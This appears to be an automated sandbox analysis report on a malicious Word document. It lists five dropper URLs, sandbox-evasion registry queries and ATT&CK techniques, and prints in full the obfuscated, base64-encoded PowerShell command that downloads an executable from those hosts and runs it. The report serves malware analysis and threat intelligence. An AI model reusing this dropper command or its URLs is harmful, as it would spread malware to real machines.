a1f54f1d2950aaf223d4c560f120e042e26c7e738c3ce67c87e0550edb7228ac

General

Target

a1f54f1d2950aaf223d4c560f120e042e26c7e738c3ce67c87e0550edb7228ac.doc
Sample

200127-daxqtax6ha
SHA256

a1f54f1d2950aaf223d4c560f120e042e26c7e738c3ce67c87e0550edb7228ac

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://fietsenmetkinderen.info/App_Data/ASHFouI/

exe.dropper

https://rokonworld.xyz/cgi-bin/bf99ypv-nka70qs-62/

exe.dropper

http://www.meubelontwerpstudioheyne.nl/languages/ndZNarqnj/

exe.dropper

http://bursary.engsoc.queensu.ca/wp-admin/48ech-ddpjkzp-29821620/

exe.dropper

http://lapmangfpt.haiphong.vn/wp-admin/k50i2cm5qi-9wnfau-7879373385/

Signatures

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

WINWORD.EXE

pid process

4920 WINWORD.EXE

pid	process
4920	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4500	5028	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4500 Powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Powershell.exe

pid process

4500 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4500	Powershell.exe

pid	process
4500	Powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

4920 WINWORD.EXE

pid	process
4920	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a1f54f1d2950aaf223d4c560f120e042e26c7e738c3ce67c87e0550edb7228ac.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:4920

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABOAGcAZgBwAGwAaAB1AGcAcwA9ACcAWABlAGoAawBhAGIAbwBoACcAOwAkAE8AbABpAGUAcwBjAGEAZgBzAG0AIAA9ACAAJwA0ADkAMQAnADsAJABKAHUAZAB6AGIAdABpAGsAPQAnAFcAcgBjAG0AZABvAHgAcgB1AGsAJwA7ACQATAB2AGoAeABwAHMAaQBlAGkAeQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAGwAaQBlAHMAYwBhAGYAcwBtACsAJwAuAGUAeABlACcAOwAkAEcAawB6AGoAcgB6AGQAZABmAGEAdwBqAD0AJwBNAGwAZgBiAHkAaAB6AHUAYQBuACcAOwAkAE0AcQBzAG8AZwBjAGQAawBiAHEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBsAGkARQBuAHQAOwAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAA9ACcAaAB0AHQAcABzADoALwAvAGYAaQBlAHQAcwBlAG4AbQBlAHQAawBpAG4AZABlAHIAZQBuAC4AaQBuAGYAbwAvAEEAcABwAF8ARABhAHQAYQAvAEEAUwBIAEYAbwB1AEkALwAqAGgAdAB0AHAAcwA6AC8ALwByAG8AawBvAG4AdwBvAHIAbABkAC4AeAB5AHoALwBjAGcAaQAtAGIAaQBuAC8AYgBmADkAOQB5AHAAdgAtAG4AawBhADcAMABxAHMALQA2ADIALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGUAdQBiAGUAbABvAG4AdAB3AGUAcgBwAHMAdAB1AGQAaQBvAGgAZQB5AG4AZQAuAG4AbAAvAGwAYQBuAGcAdQBhAGcAZQBzAC8AbgBkAFoATgBhAHIAcQBuAGoALwAqAGgAdAB0AHAAOgAvAC8AYgB1AHIAcwBhAHIAeQAuAGUAbgBnAHMAbwBjAC4AcQB1AGUAZQBuAHMAdQAuAGMAYQAvAHcAcAAtAGEAZABtAGkAbgAvADQAOABlAGMAaAAtAGQAZABwAGoAawB6AHAALQAyADkAOAAyADEANgAyADAALwAqAGgAdAB0AHAAOgAvAC8AbABhAHAAbQBhAG4AZwBmAHAAdAAuAGgAYQBpAHAAaABvAG4AZwAuAHYAbgAvAHcAcAAtAGEAZABtAGkAbgAvAGsANQAwAGkAMgBjAG0ANQBxAGkALQA5AHcAbgBmAGEAdQAtADcAOAA3ADkAMwA3ADMAMwA4ADUALwAnAC4AIgBzAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAbQByAHAAcwB5AG0AbwBuAHMAYQBzAGIAPQAnAFAAZAB3AHYAdABwAHMAYwBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAG8AeABmAGwAZQB1AHYAIABpAG4AIAAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAApAHsAdAByAHkAewAkAE0AcQBzAG8AZwBjAGQAawBiAHEALgAiAEQAYABvAGAAdwBuAGwAYABPAEEARABmAEkATABlACIAKAAkAEIAbwB4AGYAbABlAHUAdgAsACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQATQBqAHYAbQBrAG0AZAB0AGMAcQBtAHEAPQAnAFcAaQB4AHQAbABuAHoAcABiAGoAcQBlAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQAuACIATABgAEUATgBgAGcAdABIACIAIAAtAGcAZQAgADMAMAAyADkANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQASwBmAGMAYQBtAGMAcwBiAD0AJwBPAGkAZwBxAGQAbgBvAHgAdwBnAHYAJwA7AGIAcgBlAGEAawA7ACQAWgBzAHcAaQBsAHYAZgB1AD0AJwBYAGcAZwBuAGgAawB1AHAAdgBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAagBrAGYAZABwAHUAcQBjAGkAYgBmAGQAPQAnAFQAZwBnAGMAdAB6AHkAaQBqAHgAYQAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads